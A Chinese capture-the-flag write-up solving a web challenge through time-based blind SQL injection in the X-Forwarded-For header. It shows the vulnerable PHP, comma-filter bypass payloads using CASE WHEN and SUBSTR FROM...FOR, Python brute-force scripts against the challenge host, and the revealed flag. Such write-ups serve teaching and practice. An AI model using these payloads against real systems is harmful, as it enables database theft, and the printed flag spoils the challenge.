题目
题目连接:http://123.206.87.240:8002/web15/
题目提示:
flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
解题过程
分析代码发现执行$sql语句。而我们可以通过改变X-Forwarded-For来改变我们的ip,代码中的getip()函数把我们传入的ip进行了逗号过滤。然后,我们来尝试注入,因为error_reporting(0);屏蔽啦报错信息。所以不考虑报错注入。因为没有回显所以只能用延时盲注。
延时盲注,我们经常用到的if(condition,Expression1,Expression2) condition为真执行Expression1。为假执行Expression2。就不能使用了。我们要用到
case when exp1 then sleep(4) else 1 end
来绕过 “,”的限制。
substr($str,1,1)也需要改变变成
substr($str) from 1 for 1
来绕过”,”的过滤。
所以我用来注入的语句就是:
11' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #
11' and (case when (substr(select database()) from 1 for 1)='c' then sleep(4) else 1 end) #
构造成的完整语句为:
insert into client_ip (ip) values ('11' and (case when (length((select database())) = 14) then sleep(4) else 1 end) # ')
//获得长度
insert into client_ip (ip) values ('11' and (case when (substr(select database()) from 1 for 1)='c' then sleep(4) else 1 end) #')
//获得内容
经过我本机测试发现values里面and前面单引号里面的值只能是数字,不能是字母或符号,当时字母或符号的时候,语句会执行。但是and后面的语句不会执行。执行后插入表中的值为0。所以不能产生延时。所以那里的只能是数字。
最后附上菜鸡的小脚本:
#用来获取长度
# coding=utf-8
import requests
flag=""
url='http://123.206.87.240:8002/web15/'
for i in range(0,100):
# data="11' and (case when (length((select database())) = "+str(i)+") then sleep(4) else 1 end )) #" #数据库名的长的为5
# data="11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_schema=database() )) = "+str(i)+") then sleep(4) else 1 end )) #" #web15下的全部表名加,分割符共14个字符
# data = "11' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))="+str(i)+") then sleep(4) else 1 end)) #" #flag表下列名长度为4
data = "11' and (case when (length((select flag from flag))="+str(i)+") then sleep(4) else 1 end)) #"#flag表里的内容长度为32
header={'X-Forwarded-For':data}
try:
res=requests.get(url,headers=header,timeout=3)
# print res.text
except requests.exceptions.ReadTimeout:
length=i
print length
#用来获取内容
# coding=utf-8
import requests
flag=""
url='http://123.206.87.240:8002/web15/'
for b in range(1,33):
for i in range(0,73):
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*."
# data="11' and (case when (substr((select database()) from "+str(b)+" for 1) = '"+a[i]+"') then sleep(5) else 1 end )) #" #数据库名:web15
# data="11' and (select binary case when (substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) from "+str(b)+" for 1) = '"+a[i]+"') then sleep(5) else 1 end )) #"# web15下的表有client_ip,flag
# data= "11' and (case when (substr((select binary group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(b) + " for 1 )='" + a[i] + "') then sleep(4) else 1 end )) #" # flag表下列名flag
data="11' and (case when (substr((select binary flag from flag) from " + str(b) + " for 1 )='" + a[i] + "') then sleep(4) else 1 end )) #"#flag{cdbf14c9551d5be5612f7bb5d2867853}
header={'X-Forwarded-For':data}
try:
res=requests.get(url,headers=header,timeout=4)
# print res.text
except requests.exceptions.ReadTimeout:
flag+=a[i]
print flag
在注表名的时候 “,”因为是被过滤了的,所以脚本跑出来两个表之间的“,”是被过滤了,但是看单词也能把它区分开。
最后,只能说博大精深。需要学的东西还有很多。加油小伙子。